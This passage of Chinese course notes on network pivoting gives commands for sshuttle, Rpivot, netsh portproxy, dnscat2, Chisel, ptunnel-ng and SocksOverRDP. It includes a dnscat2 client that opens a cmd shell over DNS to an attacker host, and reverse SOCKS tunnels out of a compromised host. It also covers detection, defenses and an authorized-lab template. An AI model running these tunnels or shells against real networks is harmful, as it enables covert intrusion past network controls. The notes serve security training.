- 它主要用于课程中的 TCP 访问,不应把它等同于完整 VPN。
首次使用与验证
sudo sshuttle -r <用户>@<跳板机IP> <内部网段>/<前缀> -v
# 使用指定私钥
sudo sshuttle -r <用户>@<跳板机IP> <内部网段>/<前缀> \
--ssh-cmd 'ssh -i <私钥路径>' -v
# 隧道建立后直接测试内部 TCP 服务
nmap -Pn -sT -p22,80,3389 <内部目标IP>
前台按 Ctrl+C 停止后,sshuttle 会撤销其临时规则。若启动失败,先单独用同一账号和私钥执行 SSH 登录,排除认证问题。
7. Rpivot
Rpivot 的 Python 2 与 pyenv 隔离安装步骤已经在前文完整记录。这里补充首次运行条件和顺序。
前置条件
- 攻击主机运行 server.py,跳板机运行 client.py;跳板机必须能主动连接攻击主机的 server 端口。
- 两端需准备同一套 Rpivot 文件,经典版本使用 Python 2.6/2.7。
- 攻击主机的入站防火墙需要允许 Rpivot server 端口。
- Rpivot 提供的是 SOCKS4,应在 ProxyChains 中配置 socks4,不要写成 socks5。
下载、启动与验证
git clone https://github.com/klsecservices/rpivot.git
cd rpivot
# 攻击主机
python server.py --server-ip 0.0.0.0 --server-port 9999 \
--proxy-ip 127.0.0.1 --proxy-port 1080
# 把目录传到跳板机后,在跳板机执行
python client.py --server-ip <攻击主机IP> --server-port 9999
ProxyChains 末尾配置:
socks4 127.0.0.1 1080
验证:
ss -lntp | grep -E '9999|1080'
proxychains4 nmap -Pn -sT -p80,445,3389 <内部目标IP>
若必须经过课程所述 NTLM HTTP 代理,再在客户端增加相应代理地址、端口、域、用户名和密码;不要在不需要时把凭据写进命令历史。
8. Windows netsh interface portproxy
前置条件
- Windows 跳板机上使用管理员权限的 CMD 或 PowerShell。
- 跳板机必须能访问内部目标的 TCP 服务。
- 入口端口不能被其他进程占用;Windows 防火墙必须允许访问该监听端口。
- portproxy 只转发 TCP,不处理 UDP。
首次配置、验证与清理
netsh interface portproxy add v4tov4 ^
listenaddress=<跳板机地址> listenport=8080 ^
connectaddress=<内部目标地址> connectport=3389
netsh interface portproxy show all
netstat -ano | findstr :8080
从攻击主机连接 <跳板机地址>:8080,再验证是否到达内部 RDP。实验完成后删除准确匹配的规则:
netsh interface portproxy delete v4tov4 ^
listenaddress=<跳板机地址> listenport=8080
不要为了“确保清理”而直接重置全部规则;先 show all,再删除本次实验创建的条目。
9. dnscat2
前置条件
- 攻击主机运行 Ruby 服务端;目标运行课程提供的客户端。
- 使用直连模式时,目标必须能向攻击主机的 UDP/53 发送 DNS 流量,攻击主机也必须能监听该端口。
- 使用域名模式时,需要课程所述域名和 DNS 委派条件。
- 服务端产生的预共享密钥必须准确传给客户端,否则无法建立已认证加密会话。
服务端首次安装与启动
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
sudo gem install bundler
sudo bundle install
sudo ruby dnscat2.rb --dns host=<攻击主机IP>:53,domain=<域名> --no-cache
监听 UDP/53 通常需要较高权限,并且该端口不能已被其他 DNS 服务占用。
Windows PowerShell 客户端
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver <攻击主机IP> -Domain <域名> `
-PreSharedSecret <服务端显示的密钥> -Exec cmd
服务端看到会话后,先核对其加密和认证状态,再进入对应 window。连接失败时按“UDP/53 路径 → 监听冲突 → 域名/服务器地址 → 预共享密钥”的顺序检查。
10. Chisel
前置条件
- 两端使用与操作系统、CPU 架构相匹配的 Chisel 可执行文件,最好保持版本一致。
- 先决定哪一端运行 server、哪一端主动连接,以及需要普通 SOCKS 还是 reverse SOCKS。
- client 必须能连接 server 的监听端口;对应防火墙需要放行。
- 文件传输后要解压并赋予执行权限。
- 在旧 Linux 上还要先检查前文记录的 GLIBC 兼容性问题。
首次准备
从课程链接指向的 Chisel Releases 下载匹配平台的压缩包:
gunzip chisel_*_linux_amd64.gz
mv chisel_*_linux_amd64 chisel
chmod +x chisel
./chisel --help
file ./chisel
课程中的普通 SOCKS5 模式
# 跳板机:启动带 SOCKS5 的服务端
./chisel server -v -p 1234 --socks5
# 攻击主机:连接服务端,并在本地创建 SOCKS
./chisel client -v <跳板机IP>:1234 socks
默认 SOCKS 通常位于客户端本机 127.0.0.1:1080,应以程序日志为准,再把 ProxyChains 配成相同端口:
socks5 127.0.0.1 1080
看到 server 的 Listening、client 的 Connected 和本地 SOCKS 监听后,再运行代理工具。如果出现 GLIBC_2.xx not found,使用前文记录的兼容旧版二进制方案,不要替换目标系统的 libc.so.6。
11. ptunnel-ng(ICMP 隧道)
安装、构建与前置条件
sudo apt update
sudo apt install -y automake autoconf gcc make libssl-dev
git clone https://github.com/utoni/ptunnel-ng.git
cd ptunnel-ng
./autogen.sh
- 网络路径必须允许所需 ICMP Echo 流量。
- ptunnel-ng 处理原始 ICMP,通常需要 root 权限或等效能力。
- 二进制架构必须与运行主机一致。
- 客户端本地端口、远端转发端口和目标服务必须一一对应。
- 若目标机缺少 libcrypto.so.3,使用前文已经整理的静态构建方法,不要伪造共享库链接。
课程链路的使用顺序
# 先在跳板端启动 ptunnel-ng 服务端/代理端
sudo ./ptunnel-ng -r<跳板机可达地址> -R22
# 再在攻击端建立本地 TCP 入口;具体参数按本节实验地址填写
sudo ./ptunnel-ng -p <跳板机IP> -l2222 -r<内部SSH目标> -R22
# 把本地 2222 当作 SSH 入口,再叠加动态 SOCKS
ssh -p 2222 -N -D 9050 <用户>@127.0.0.1
最后一条 SSH 仍然需要内部 SSH 服务的有效用户名,以及密码或私钥。应按“ICMP 隧道进程 → 本地 2222 监听 → SSH 认证 → SOCKS 9050 → ProxyChains”的顺序逐层验证。
12. SocksOverRDP
前置条件
- 已有可用的 Windows RDP 会话和有效 RDP 凭据。
- 客户端安装与自身架构匹配的插件 DLL;RDP 服务器端运行与服务器架构匹配的服务端 EXE。
- RDP 动态虚拟通道必须可用;代理只有在 RDP 会话保持连接且服务端程序运行时才存在。
- 课程默认让 SOCKS 只监听本机回环地址,避免把代理暴露给其他网络主机。
首次安装与使用
从课程给出的 SocksOverRDP 仓库 获取 Releases 中对应架构的文件。在发起 RDP 的 Windows 客户端,以管理员权限注册插件:
regsvr32.exe SocksOverRDP-Plugin.dll
随后重新建立 RDP 会话,在远端 Windows 主机运行:
SocksOverRDP-Server.exe
保持 RDP 会话和服务端程序运行,在客户端检查课程默认 SOCKS 端口是否监听,再让 Proxifier 使用该本地 SOCKS。若插件无管理员权限,则按课程提供的注册表文件配置当前用户。实验结束可注销插件:
regsvr32.exe /u SocksOverRDP-Plugin.dll
13. 技能评估开始前的统一检查
当前第 16 节技能评估不会再引入新工具,重点是组合前面已经学过的链路。开始前按以下顺序检查:
- 记录入口 Web Shell 的当前用户、主机名、网卡、路由和可读凭据文件。
- 对每个 SSH 节点记录“用户名 + 密码/私钥 + SSH 端口”,缺少认证材料就不能把 SSH 转发当作可用方案。
- 对每条路径记录谁能主动连接谁,不要只写两个 IP。
- 明确 SOCKS 类型与端口:SSH/Chisel 常用 SOCKS5,Rpivot 为 SOCKS4,Metasploit 以实际模块配置为准。
- 扫描代理后的网络时使用 -Pn -sT,先测试少量关键 TCP 端口。
- 每新增一跳,先验证监听和单一目标服务,再叠加下一层。
- RDP、SSH、SMB 等远程访问都需要对应有效凭据;网络可达不代表认证成功。
- 记录并在实验结束后清理 SSH 会话、Socat/Chisel/Rpivot/ptunnel 进程、Meterpreter 转发和 Netsh 规则。
十、目录 8:Additional Considerations —— 检测、防护与模块外延
防守方可能观察到什么
- 异常 SSH 长连接、非典型端口监听和大量端口转发。
- plink.exe、socat、Python2、Chisel、dnscat2 等工具的执行痕迹。
- DNS 查询频率、域名长度、TXT 记录异常以及固定周期的 C2 流量。
- 主机出现不符合业务的 SOCKS 代理、端口代理或路由规则。
- Windows netsh portproxy、防火墙规则和注册表变化。
- 内部主机突然访问原本不应访问的网段和 RDP/SMB/数据库服务。
降低风险的防御思路
- 严格限制出站 DNS、HTTP 代理、SSH 和 RDP 的访问范围。
- 对 DNS 日志、进程创建、网络连接和防火墙规则做关联分析。
- 监控双宿主主机、管理员工作站和跳转服务器。
- 对 DNS/ICMP 隧道进行流量基线与异常检测。
- 对 SSH 使用密钥、最小权限、命令审计和连接时长限制。
- 对 Windows 的端口代理、Plink 和未签名工具执行应用控制。
模块之外的延伸方向
- 代理协议与 SOCKS4/5 的差异。
- SSH ControlMaster、ProxyJump 和多跳配置。
- HTTP CONNECT、TLS 隧道与现代 C2 通道。
- 网络分段、零信任和东/西向流量检测。
- 端口转发的持久化、审计与清理。
十一、最终复习清单
- 能解释横向移动、跳板和隧道的区别。
- 能从 ifconfig/ipconfig 和路由表判断跳板价值。
- 能区分 -L、-R、-D 的监听位置和数据方向。
- 能解释 Socat 在链路中只是中继,不负责建立会话。
- 能根据 Windows/Linux 环境选择 Plink、Netsh、sshuttle、Rpivot 或 Chisel。
- 能说明 Bind Shell 与 Reverse Shell 的连接方向差异。
- 能配置并验证 SOCKS 代理,而不是只启动代理。
- 能设计两级跳板,并为每一跳画出入口/出口。
- 能指出 DNS/ICMP 隧道的检测面和局限。
- 能记录命令的目的、运行主机、监听地址、目标地址和验证方法。
十二、建议的实验记录模板
日期:
授权范围:
攻击主机:
跳板 A:
跳板 B:
最终目标:
已知网段:
可达网段:
不可达网段:
选择的技术:
监听端:
转发端:
认证方式:
验证 1(本地监听):
验证 2(跳板到目标):
验证 3(最终业务访问):
失败现象:
修正措施:
清理动作:
